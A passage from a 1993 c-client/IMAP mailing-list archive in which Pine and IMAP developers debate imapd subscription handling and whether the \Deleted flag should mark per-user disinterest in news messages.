mailbox object, since the concept of a filesystem object that cannot be > referenced as a mailsystem object is becoming extinct in c-client. The fact > that the validation was horribly slow is just one more nail in the coffin... Ok. I think that some of the more clever users will find out that they can cause problems by writing to files that are not folders. In general, the performance win should be worth it, though. I guess we'll find out. > In 3.1 of the c-client/IMAP toolkit, the transition is well under way. > Among some of the things which have already happened are: > 1) the special extension of Tenex format is now .TxT > 2) an MTX driver for UNIX, compatible with the format used on DOS, is in the > works and probably will replace the Tenex driver eventually (or the Tenex > driver will be used just to read in old cmm files). It uses the special > extension of .MTX > 3) work is underway to eliminate special extensions entirely; that is, to > deal with the zero-length file problem in a different way. > Hmm ... new drivers. We have some ideas for a new driver as well that I would like to discuss with you. I will send an outline of my thoughts in a separate message. > This isn't quite what you've asked for, but I think it's probably an > improvement over what you're dealing with now with the transitional code. > Please take a look at the 3.1 toolkit since this is closer to what is in Pine > 3.87 than the 3.0 toolkit. In particular, the unfavorable interaction with > subscriptions will go away. The key requirement for us is that a mail_find() return a nil list if there is no subscription database. Otherwise our subscription interface will simply not work. Does the 3.1 server do this now? If not, can it be modified to do so? We actually have already modified the 3.0 release that came with pine to do this. Will it cause a problem for the latest release of Pine? > Not clear yet, but it's likely that a 4.0 toolkit will be sooner than > later; that's going to be the version that supports the IMAP2bis Proposed > Standard when that happens. > > I hope this message is good news for you... I think it is. We really need the subscription stuff to work right because we want to release v2.2 next week, and it supports subscription. We will have to distribute a modified version of imapd I guess in order to support it. If that will not adversely affect Pine, then I don't mind doing that until version 3.1 is snapped off. Cheers. -- Steve Hole Director of Research and Communications ISA Corporation mail: Steve.Hole@Edm.ISAC.CA Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Fri Oct 15 20:36:55 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29848; Fri, 15 Oct 93 20:36:55 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19985; Fri, 15 Oct 93 20:36:33 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19979; Fri, 15 Oct 93 20:36:28 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26528; Fri, 15 Oct 93 20:36:20 -0700 Date: Fri, 15 Oct 1993 20:22:58 -0700 (PDT) From: Terry Gray Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Steve Hole Cc: Mark Crispin , pine@cac.washington.edu, c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 15 Oct 1993, Steve Hole wrote: > > I hope this message is good news for you... > > I think it is. We really need the subscription stuff to work right because > we want to release v2.2 next week, and it supports subscription. We will > have to distribute a modified version of imapd I guess in order to support > it. If that will not adversely affect Pine, then I don't mind doing that > until version 3.1 is snapped off. Steve, It's a transition problem. Pine 3.87 and later will not use FIND, therefore they will happily ignore .mailboxlist files. I *think* Pine 3.07 and earlier will also happily ignore .mailboxlist. (Can one of the Pine team confirm or deny this?) The problem is with 3.85, which when confronted with a a null .mailboxlist happily asserts to the user that all of his/her folders are gone... Fortunately, 3.85 was superceded fairly quickly, so maybe the incompatible installed base is fairly small. I think it makes sense for you to release an IMAPd with the modified FIND behavior, and we should accelerate that change in our code, to reduce compatibility problems with ECSmail 2.2. You will need to tell your clients who have trouble with Pine to upgrade to Pine 3.87 or later, and we'll need to tell our users who have trouble with ECSmail to upgrade IMAPd. Pine guys, does that seem right? (If I'm wrong about 3.07, the problem is much bigger, and we need to consider further.) Sorry about this... we normally try to warn and/or seek consensus on incompatible IMAP changes, but this one slipped by. There is still an open question of how much cross-client interoperability we really have in listing folders... -teg From pinedev@shivax2.cac.washington.edu Sat Oct 16 11:15:13 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11170; Sat, 16 Oct 93 11:15:13 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA24918; Sat, 16 Oct 93 11:14:59 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA24912; Sat, 16 Oct 93 11:14:50 -0700 Received: from scapa.cs.ualberta.ca by scapa.cs.ualberta.ca with UUCP id <18605-1>; Sat, 16 Oct 1993 12:14:42 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Sat, 16 Oct 93 11:55 MDT Received: by isasun-1.edm.isac.ca (Smail3.1.28.1 #1) id m0ooFtH-000cvoC; Sat, 16 Oct 93 11:58 MDT Date: Sat, 16 Oct 1993 11:52:56 -0600 From: Steve Hole Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Terry Gray Cc: Mark Crispin , pine@cac.washington.edu, c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 15 Oct 1993, Terry Gray wrote: > I think it makes sense for you to release an IMAPd with the modified FIND > behavior, and we should accelerate that change in our code, to reduce > compatibility problems with ECSmail 2.2. OK, I will make the necessary changes this weekend. I will forward the patches to you, but the change is so simple, I expect that you won't really need them. > You will need to tell your clients who have trouble with Pine to upgrade > to Pine 3.87 or later, and we'll need to tell our users who have trouble > with ECSmail to upgrade IMAPd. I just put the modified IMAP out at the same time with a TTL notice on it for imapd-3.1. That should make it clear to most. > Pine guys, does that seem right? (If I'm wrong about 3.07, the problem > is much bigger, and we need to consider further.) > > Sorry about this... we normally try to warn and/or seek consensus on > incompatible IMAP changes, but this one slipped by. There is still an > open question of how much cross-client interoperability we really have in > listing folders... No problem. I know that we didn't really tell anybody what we were doing and, as Mark said, nobody was previously making use of the subscription mechanisms before now. Thanks for the help guys. Cheers. -- Steve Hole Director of Research and Communications ISA Corporation mail: Steve.Hole@Edm.ISAC.CA Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Sat Oct 16 13:00:18 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12387; Sat, 16 Oct 93 13:00:18 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12395; Sat, 16 Oct 93 13:00:07 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12386; Sat, 16 Oct 93 13:00:00 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA00703; Sat, 16 Oct 93 12:59:54 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA14074; Sat, 16 Oct 93 12:59:45 -0700 Date: Sat, 16 Oct 1993 12:56:45 -0700 (PDT) From: Mark Crispin Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Steve Hole Cc: Terry Gray , pine@cac.washington.edu, c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Steve - I haven't yet had the chance to digest the most recent messages on this thread. I think we should have a bit of discussion first as to what these changes are, if you're talking about going beyond the calls to findall from find (which are interim and will probably be removed from IMAP toolkit 3.1 real soon now). Of course, if that's exactly what the change is, no problem; consider the poke to remove the interim code ``received, loud and clear''! ;-) -- Mark -- From pinedev@shivax2.cac.washington.edu Sun Oct 17 01:01:31 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20100; Sun, 17 Oct 93 01:01:31 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28994; Sun, 17 Oct 93 01:01:08 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28956; Sun, 17 Oct 93 01:00:04 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15667; Sun, 17 Oct 93 01:00:03 -0700 Date: Sat, 16 Oct 1993 23:35:56 -0700 (PDT) From: Terry Gray Subject: More on /SEEN and /DELETED... (sigh!) To: imap@cac.washington.edu, c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Folks, At last, I have completed reviewing the recent /SEEN and /DELETED thread. I'm sending this response to both the imap and c-client lists, as I think some of the issues relate to both. In this set of messages, there seem to have been four major themes: 1. Are per-session flags useful? If so, how should they be implemented? 2. What are IMAP "BBOARDS", anyway? 3. What different classes of mailboxes and flag sets are there? 4. What have those UW guys been smoking? (Clearly they are a bunch of idiots for challenging the traditional news reading paradigm that messages should automatically disappear after one reading.) I'd like to make brief comments on the first three, then concentrate my fire on item 4... -------------------------------------------------------------------------- TOPIC 1: Per-session flags. I'm actually not a big fan of per-session flags. I would not violently oppose their existence, but I would tend to avoid using them if I could, on the grounds that flags that are not preserved across sessions tend to confuse users. Note that the questions of where *persistent* flags might be stored (with the mailbox, or in an auxiliary file) and who manages them (server or client) are completely orthogonal to the question of whether or not transient (per-session) flags should exist. -------------------------------------------------------------------------- TOPIC 2: BBOARDS... what are they *really*? I think of BBOARDS as a way of defining an alternate namespace. The problem is that having precisely *two* namespaces defined in IMAP can't possibly be the right general solution. It is either too few or one too many. I personally believe that BBOARDS needs to be re-thought in the context of namespace selection, especially for non-filesystem namespaces. We need a clean way to either (a) select amongst possibly many drivers and their namespaces, or (b) cleverly map a diversity of them so that we can pretend we only have one namespace. It would not break my heart if the present BBOARDS construct was superseded or obsoleted. -------------------------------------------------------------------------- TOPIC 3. Classes of mailboxes; private vs. global flags. Here are my assumptions: -A Mailbox = [Msg Data + Global Flags] OR [Msg Data + Private Flags] -Global (per-mailbox) flags may or may not be shared. -Private (per-user) flags, if they exist, are never shared. -A user views a mailbox EITHER with Global or Private flags, NEVER both. -A user with RW/EXPUNGE rights will use Global flags, never Private flags. -Global and Private flag sets may include any defined IMAP flag, however... -Implementation constraints may limit which flags can actually be stored. Given these assumptions, we can now identify several classes of interesting mailboxes. I propose a taxonomy based on three questions: 1. Is message store RW? (In particular, does user have expunge rights?) 2. Are Global (per-mailbox) flags shared? 3. Do Private (per-user) flags exist? (At all? Partially? Fully?) (Note: in speaking of RW or RO, I'm talking about access rights, not transient RO failure modes.) Not all combinations make sense, and given fine-grain access controls, one can identify even more cases. However, the following decision tree leads to four mailbox categories that I believe do make sense, and in fact are all in common use: MESSAGE STORE IS RW? / \ Yes No / \ GLOBAL FLAGS SHARED? PRIVATE FLAGS EXIST? / \ / \ Yes No Yes No / \ / \ MAILBOX TYPE: 1 2 3 4 In words, these mailbox classes can be characterized as follows: 1. A shared mailbox. Multiple users may set and see common msg state. 2. Standard personal mailbox. 3. "Pseudo-personal" mailbox. An RO archive plus private flags. 4. A RO mailbox/archive, with no provision for user to record pers. state. Type 1 assumes a mailbox format that supports concurrent flag update, but otherwise is identical to standard personal mailboxes except for access rights. Type 3 and 4 mailboxes are what we normally think of as "Shared but ReadOnly", and where typically the user does not have control over when a message disappears, nor expunge rights. It is not required that the message store in question be ReadOnly for everyone, only to the user in question. All of these mailbox types are in common use; however, C-client doesn't yet support a fully general type 3 "pseudo personal" mailbox. It does support a limited form of this for news, via the .newsrc file. Note that using .newsrc is purely a concession to interoperability with existing newsreaders, and it would have been better if we could have just ignored .newsrc files and used a more general private flag implementation for any Type 3 "pseudo personal" mailbox (which we need to invent anyway). Some of you have made assumptions that differ from my own. In particular: that certain flags are inherently per-mailbox or per-user; that a user in a particular session might see a combination of Global and Private flags; and that a set of Private flags can in any way affect anyone else's view of a mailbox --or worse, lead to inadvertent expunging of messages. In contrast to those views, I've attempted to identify a mailbox framework which both corresponds to common practice and avoids the criticisms that legitimately follow from some of the alternative assumptions. The case of "pseudo personal" mailboxes (RO message stores + Private flags) is the most relevant to this discussion, so perhaps my most important assertions concern those private flags: -By definition they are not shared. -They only apply to shared-but-RO message stores. -They can have no effect on any other user. -They can include any valid IMAP flag (subject to implementation limits). -They are never "mixed" with a potentially-existing global flag set. My basic contention is that for a particular mailbox session, the MUA must choose between using [1] the possibly-shared set of "per-mailbox" flags (if the user has RW mailbox access), and [2] (if available) a private set of "per-user" flags that are invisibile to anyone else. This "one or the other" restriction follows from my strongly-held belief that no flag is inherently only per-user or per-mailbox, plus the observation that IMAP provides no facilities for manipulating both "per-user" and "per-maibox" flag sets as separate entities. -------------------------------------------------------------------------- TOPIC 4: Use of /DELETED for news... In teaching our MUA to read news, we chose to use the one bit available in a .newsrc to denote /deleted rather than /seen. Evidently this decision has proven controversial. Please read the entire message before reacting :) John Myers: this is a dangerous model. It trains users to type "d" instead of "n" and will cause messages to inadvertently disappear when users walk into a mailbox to which they have delete access. I think John's adamant abhorrence of what we are doing is based on the assumption that /deleted is necessarily a global (per mailbox) flag, rather than a per-user flag. If we were talking about global (per mailbox) /deleted flags, wherein one user could naively mark /deleted, and perhaps inadvertently expunge, a message out from under another user, I would agree that Pine's behavior is dangerous... but we are not. News is one example of what I called a "Type 3, pseudo personal" mailbox, wherein sharing flag state amongst users is neither necessary nor desirable, and wherein the normal user is powerless to actually make messages disappear from *other* people's views. That is, by definition the user of private flags does not have expunge rights on the shared message store (although one could theoretically simulate "personal expunge" via private flags). Furthermore, I disagree with the implicit assertion that there are no dangers associated with applying the traditional "news model" to personal mailboxes, or even to news! Messages magically and implicitly disappear, simply by looking at them once! I've happily lived with this behavior for well over a decade, so I was truly unprepared for how "wrong" this model now seems to me, since having had a chance to use the other paradigm. That design is based on the narrow view that mail and news are fundamentally different, distinguishable things which users process with different methodologies. Nothing could be further from the truth. This design decision was a *direct* result of trying to blur the distinctions between the mail and news worlds. This observation is backed up by the fact that Pine "knows" the difference between mail and news and behaves differently depending on how the macro IS_NEWS evaluates. Some of the differences are constraints imposed by using existing .newsrc file structure for recording private flags, rather than being fundamental news vs. mail differences, which we completely agree should be minimized. As we've mentioned before, it is extremely dangerous to require the user to change their behavior. If you are starting from the mail reader perspective, as Pine must necessarily do, there is no change in user behavior. To adopt the traditional newsreader view, in contrast, would very definitely require a change in Pine users' behavior. The "per-user \Deleted for news" model does not generalize. As it trains users to do dangerous things, it would be hard to convince me to support it It doesn't generalize and is dangerous if and *only* if you accept John's premise that /DELETED is inherently global, a notion I can't agree with in the context of Type 3 (RO + private flags) mailboxes. What *is* inherently "per mailbox" for all classes of mailbox is the existence or non-existence of a particular message, but that's not the same thing. If one were to define /DELETED as invalid for private flag state, we would need another flag to indicate a particular user's personal disinterest in a particular message, since I utterly and totally reject the notion of using /seen to mean this. Further, I see no value to a global /Deleted flag in a Type 3 (pseudo personal) mailbox --more or less by definition. Accordingly, I consider the traditional newsreading paradigm of "see it once, then it disappears", to be dangerous if applied to personal mailboxes. (Therefore, "it would be hard to convince me to support it". But to not apply the same paradigm to both mail and news introduces the very modality that John incorrectly accuses us of.) Steve Hole: Apparently, the \Deleted flag is used to indicate that a News message "has been seen and shouldn't show up in the list". No, not at all. It is used to indicate that the user is no longer interested in the message. Whether or not it shows up in a particular index view is a separate question. Anyway, I contend that view removal does not and should not have anything to do with the physical manipulation of the messages. \Delete implies physical deletion. Changing the view to sort filter out \Seen messages is entirely different. I completely *agree* that views based on flag state are distinct from what actually exists on disk. From a user's perspective, the available views DEFINE their REALITY, regardless of what exists or doesn't exist on disk. Indeed, even whether or not a message exists to a user (say after an expunge) can be implemented in one bit! I claim that the statement "\Delete implies physical deletion" reflects your own personal bias about a particular implementation strategy. It has no foundation in either database theory or filesystem practice. (Consider, for example, what happens when you delete a filesystem object when its link count is >1 ) I really don't see how anyone can say that "deleting" a News message to make it disappear is consistent with the way that it works when processing private mail OR with conventional news readers. It is much better just to filter the message list view to show or not show read messages. This is exactly the way that many newsreaders work. Well, OK. I'll say it. Or more precisely, I'll say that Pine's current behavior is *completely* consistent between mail and news with respect to the /deleted flag, and that as far as I can tell, this has proven to be a definite win. As Steve said "Consistency is *very* important." Again, the /deleted flag reflects the user's explicit disinterest in a message. It is the only flag available to the user for indicating this. Whether messages so marked "disappear" is a function of the current view. One might choose a view where these messages are hidden, but that is a distinct issue. Defining a *view* that excludes certain messages is not at all the same as *marking* those messages as uninteresting. In contrast, "I really don't see how anyone can say" that an implicitly- set /seen flag should imply the user's explicit disinterest in a message, which is indeed --and unfortunately-- "exactly the way that many newsreaders work." And which is why Steve and Chris' suggestion to just use /seen and suppress those messages from the current view is exactly backwards from my perspective. (It also clutters the UI, because now you MUST implemnent an "UNSEE" command... now there's a real intuitive concept, right?) SUMMARY: In traditional newsreaders, a message "disappears from view" *implicitly*, simply by having looked at it once. One must take explicit action to make it re-appear. In all the mailers I've used, the opposite is true. A message never disappears from view without *explicit* action by the user. This might not be strictly true in XLView, (I can imagine view definitions that would emulate newsreader behavior) but even there, one has a Delete button to explicitly mark a message as no longer interesting. Using /deleted as the way to denote disinterest in a message for both mail and news is completely reasonable as long as you realize that the flags for Type 2 and 3 mailboxes are not shared across users. (And as for sharing /deleted state in Type 1 mailboxes, "it's a feature!" ) In building a tool that deals with both mail and news, the choices are: 1. Emulate *mailer* behavior for both mail and news 2. Emulate (old) *newsreader* behavior for both mail and news 3. Have inconsistent (modal) behavior, for each. Surely we can do better than condemning the user to option #3! Equally clearly, a mailer that is being taught to read news cannot abandon its traditional mailreading behavior. For Pine, that leaves only option #1. Newsrc files and flag preservation... Part of the perceived mail-news dichotemy is actually an artifact of having a news infrastructure that only permits a single "flag bit" in the personal state database (the absence or presence of an article number in one's .newsrc). This limitation has nothing to do with news per se, but it is a real-world constraint that tends to force us into modality whenever accessing news (in conjunction with a newsrc). In our case, the modality manifests itself as ignoring /seen state in newsgroups. If tool interoperability was irrelevant, we could ignore .newsrc files and invent a new mechanism that would preserve all interesting flags, suitable for any kind of Type 3 (pseudo personal) mailbox. We need to invent this mechanism anyway for other Type 3 mailboxes, but alas, in our case, compatible use of the existing .newsrc files was considered essential. But let's return to First Principles. From the user view, we need a clear way of letting the user explicitly declare that a message is no longer of interest. In Pine, you do that with the "D" key, which is associated with the word "deleted". Strictly speaking, that word is misleading (both in our UA and in the protocol flag definition) since nothing has been deleted yet. Maybe the "D" should mean "dismiss" or "drop" or "dullsville"... the point is that this is the way a user tells the system that she *probably* doesn't want to see that message again. Not at all the same as N, for "show me the next message". In the case of news, since we wanted to use the existing .newsrc framework, we had to choose what the meaning of an entry in the .newsrc was going to mean. There was effectively one bit per message to manipulate. We could choose one and only one flag to be preserved across sessions. Would it be the "seen" flag or the "deleted/dismissed/dropped/dull" flag? We actually tried it both ways. Now having used both models, I'm pretty convinced that the present behavior (saving the "D" state in .newsrc) is best. In fact, although I still use trn a lot, I find myself using Pine's (very incomplete) newsreading abilities more and more just because of the "mail like" paradigm: messages don't implicitly "disappear", they stay around until I "dismiss" them. I like this behavior a lot, even without having the code to *hide* /deleted messages in place yet. (And when we do, rest assured it will work uniformly for both mail and news. This code does exist in test versions of Pine.) CONCLUSION: This 40+ message discussion has surfaced a number of interesting issues. Unfortunately, my response seems to have become almost as long as all those messages put together... :) (Sorry!) Some issues I don't claim to have any good answer for yet (e.g. namespace selection and the role of BBOARDS). But I think this idea of message flag *scope* (whether a flag is private/personal or shared/global) for different classes of mailboxes is fundamental and crucial. The controversy over Pine's (and c-client's) newsreading behavior revolves around these three issues: -the meaning of /deleted as compared to /seen -the relative importance of /deleted vs. /seen, if only one can be saved. -whether or not /deleted is inherently global, and therefore "unsafe" The case of a RO message store + private flags, which news is an example of, I've dubbed a (type 3) "pseudo personal" mailbox, wherein the message data bits are shared RO but flags (including /deleted) are not shared. Private (per-user) /deleted state is only sensible ("safe") when the user is unable to expunge the actual mailbox message data, as defined above. To insist that /deleted must be global in all cases leaves us without a reasonable way for a particular user to record their personal disinterest in a shared RO message; hence we postulate the Type 3 mailbox scenario wherein one person's full suite of flags is of no interest to anyone else, and cannot affect anyone else. Finally, I hope you will all keep an open mind to the idea that an *implicit* /SEEN flag should *not* be taken as prima facia evidence that the user has lost interest in a message, a state that I believe is more appropriately denoted by an *explicit* /DELETED flag. That's it for now. Cheers... -teg From pinedev@shivax2.cac.washington.edu Sun Oct 17 08:07:21 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25536; Sun, 17 Oct 93 08:07:21 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01216; Sun, 17 Oct 93 08:07:11 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01210; Sun, 17 Oct 93 08:07:08 -0700 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.5/8.5) id LAA02132; Sun, 17 Oct 1993 11:07:05 -0400 Received: via switchmail; Sun, 17 Oct 1993 11:07:04 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Sun, 17 Oct 1993 11:05:55 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Sun, 17 Oct 1993 11:05:48 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Sun, 17 Oct 1993 11:05:42 -0400 (EDT) Message-Id: <0gkJx6C00WBwQCMkRI@andrew.cmu.edu> Date: Sun, 17 Oct 1993 11:05:42 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU, imap@cac.washington.edu Subject: Re: More on /SEEN and /DELETED... (sigh!) In-Reply-To: References: Beak: is Not [There are both protocol and c-client issues here] Terry Gray writes: > -A user views a mailbox EITHER with Global or Private flags, NEVER both. In the Cyrus imapd, the \Seen and \Recent flags are always "Private" and all other flags are always "Global". Given this model is useful (for example, user wants to track their own reading progress through a "trouble ticket" mailbox), desired, and corresponds to what we veiw existing practice, and given the observation that Terry mentions no specific problems with this model, I think it's a bit premature to assume it out of existence. To paraphrase Terry, I think his four mailbox classes are "too few or too many." I think it's best to state that whether any given flag is preserved on a per-user or per-mailbox basis is an implementation detail. I do, however, believe it is useless or silly for certain flags to be preserved on a certain basis. Whether or not the user may change the preserved state of any given flag is an entirely different matter. > John Myers: > > this is a dangerous model. It trains users to type "d" instead > of "n" and will cause messages to inadvertently disappear when > users walk into a mailbox to which they have delete access. > > I think John's adamant abhorrence of what we are doing is based on the > assumption that /deleted is necessarily a global (per mailbox) flag, > rather than a per-user flag. Terry completely misses the reason I consider the use of \Deleted for news dangerous. Given there are both "Type 1" and "Type 3" mailboxes, and given that there might not be a line in the namespace which says "all these over here are Type 1 and all those over there are Type 3," the user trained by c-client's handling of \Deleted in news to type "d" when they are "no longer interested" in a message will do so when reading the "Type 1" mailbox. They will then inadvertently physically remove messages before other users of the shared mailbox can read them. > Furthermore, I disagree with the implicit assertion that there are no > dangers associated with applying the traditional "news model" to personal > mailboxes, or even to news! Messages magically and implicitly disappear, > simply by looking at them once! I've happily lived with this behavior for > well over a decade, so I was truly unprepared for how "wrong" this model > now seems to me, since having had a chance to use the other paradigm. Messages "magically and implicitly disappear" due to the view you selected? One might as well use the same arguments against kill files. "The other paradigm" assumes that "Type 1" mailboxes with multiple readers don't exist. > Nothing could be further from the truth. This design decision was a > *direct* result of trying to blur the distinctions between the mail and > news worlds. I'd say you botched it, given all the places IS_NEWS is used in Pine. > Some of the differences are constraints imposed by using existing .newsrc > file structure for recording private flags, rather than being fundamental > news vs. mail differences, which we completely agree should be minimized. Things IS_NEWS affects, from my reading of the code: * Whether three 'n' commands cause a CHECK command * On 'n' command, whether to prompt to ``View next news group'' * On 'd' command, whether to prompt to ``View next group'' * Whether the 'x' command is named "eXclude" or "eXpunge" * On 'x' command, whether to error with "eXclude of deleted news not implemented yet." * On '&' command, whether the error message is "Unexclude command not implemented yet" or "Unexclude not available for mail folders" * Whether opening a mailbox announces it as a "News group" or a "Folder" * Whether or not the titlebar says "(READONLY)" * Whether or not un-\Seen messages are marked as "NEW" in the bar status * Whether or not TAB will stop on un-\Seen messages * On TAB command, whether to say "No more undeleted messages" or "No more new messages" Only the last three can be considered as having anything to do with the way c-client handles .newsrc files. Even they could go away if the .newsrc mapped to \Seen instead of \Deleted. The fact that Pine will only offer the user the ability to view the next mailbox in "news mode" is a clear example of Pine considering News and Mail as fundamentally different. > If you are starting from the mail reader perspective, as Pine must > necessarily do, there is no change in user behavior. The user must shift the meaning of 'D' from "physically delete this message" to "don't show me this message, for now". You're also assuming that users always delete their mail when they read it. If you start from CMU mail reader perspective, there is a definite change in user behavior. > To adopt the > traditional newsreader view, in contrast, would very definitely require a > change in Pine users' behavior. Traditionally, users haven't read their mail in "show me only the new messages" mode because they only ever had one mailbox which had new messages delivered to it. Treating mail as news is an easy paradigm shift and "browse mode" is useful for people who like the traditional mail model. > I claim that the statement > "\Delete implies physical deletion" reflects your own personal bias about > a particular implementation strategy. It has no foundation in either > database theory or filesystem practice. (Consider, for example, what > happens when you delete a filesystem object when its link count is >1 ) \Deleted has a specific definition in the IMAP protocol specification. That definition specifically mentions "removal by later EXPUNGE". EXPUNGE "permanently removes all messages with the \Deleted flag set". > Again, the /deleted flag reflects the user's explicit disinterest in a > message. Again, your interpretation of the \Deleted flag does not correspond to its definition in the IMAP protocol specificiation. > In contrast, "I really don't see how anyone can say" that an implicitly- > set /seen flag should imply the user's explicit disinterest in a message, > which is indeed --and unfortunately-- "exactly the way that many newsreaders > work." And which is why Steve and Chris' suggestion to just use /seen and > suppress those messages from the current view is exactly backwards from my > perspective. It seems very intuitive for a command "show me the new messages" to imply that the user is explicitly disinterested in messages with the \Seen flag set. > (It also clutters the UI, because now you MUST implemnent an > "UNSEE" command... now there's a real intuitive concept, right?) It's about as intuitive as "UNDELETE". A UI should enable the user to set or clear any non-special flag. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Sun Oct 17 15:36:47 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00754; Sun, 17 Oct 93 15:36:47 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03520; Sun, 17 Oct 93 15:36:35 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03514; Sun, 17 Oct 93 15:36:34 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id SAA07706; Sun, 17 Oct 1993 18:36:31 -0400 Received: via switchmail; Sun, 17 Oct 1993 18:36:30 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Sun, 17 Oct 1993 18:36:10 -0400 (EDT) Received: via niftymail; Sun, 17 Oct 1993 18:36:02 -0400 (EDT) Date: Sun, 17 Oct 1993 18:35:59 -0400 (EDT) From: Chris Newman Subject: Re: More on /SEEN and /DELETED... (sigh!) To: imap@cac.washington.edu, c-client@cac.washington.edu In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <750897359.27688.0@nifty.andrew.cmu.edu> Here are a couple scenerios which show why Terry's different interpretation of /DELETED for netnews and mail is dangerous: The secretary for the athletic department office is administering a publicly readable athletic bboard which is fully read-write to athletic department administrators. A message with a major error is posted to the bboard and he wishes to remove it. He goes to the bboard, deletes the message, and expunges the bboard. The message disappears from his view. Then he continues to get complaints about this message and is confused. He had, after all, removed it the same way he would remove it from his mailbox. Now suppose Jane User is reading a mailbox for her project group. She's gotten used to hitting "d" to remove messages from her view. So when she's read a message, she hits "d" to remove it from her view. Her client, as usual, expunges the messages when she leaves the folder. But now, none of the other people in her group can see that message because its gone. She did the same thing she does in news, and it doesn't remove the message there. She is confused and her project is set back a few days. ---------- These two examples show why "/DELETED" must either mean "flag for removal" or "hide". It must not have different meanings in different mailboxes/bboards. However, Terry has argued eloquently that a "hide" concept is useful and I _personally_ wouldn't object to adding an extra optional flag for it. I do object strongly to equating the "hide" concept with "/DELETED" as I believe it would confuse and endanger users. - Chris From pinedev@shivax2.cac.washington.edu Sun Oct 17 15:44:41 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00850; Sun, 17 Oct 93 15:44:41 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03570; Sun, 17 Oct 93 15:44:29 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03564; Sun, 17 Oct 93 15:44:27 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 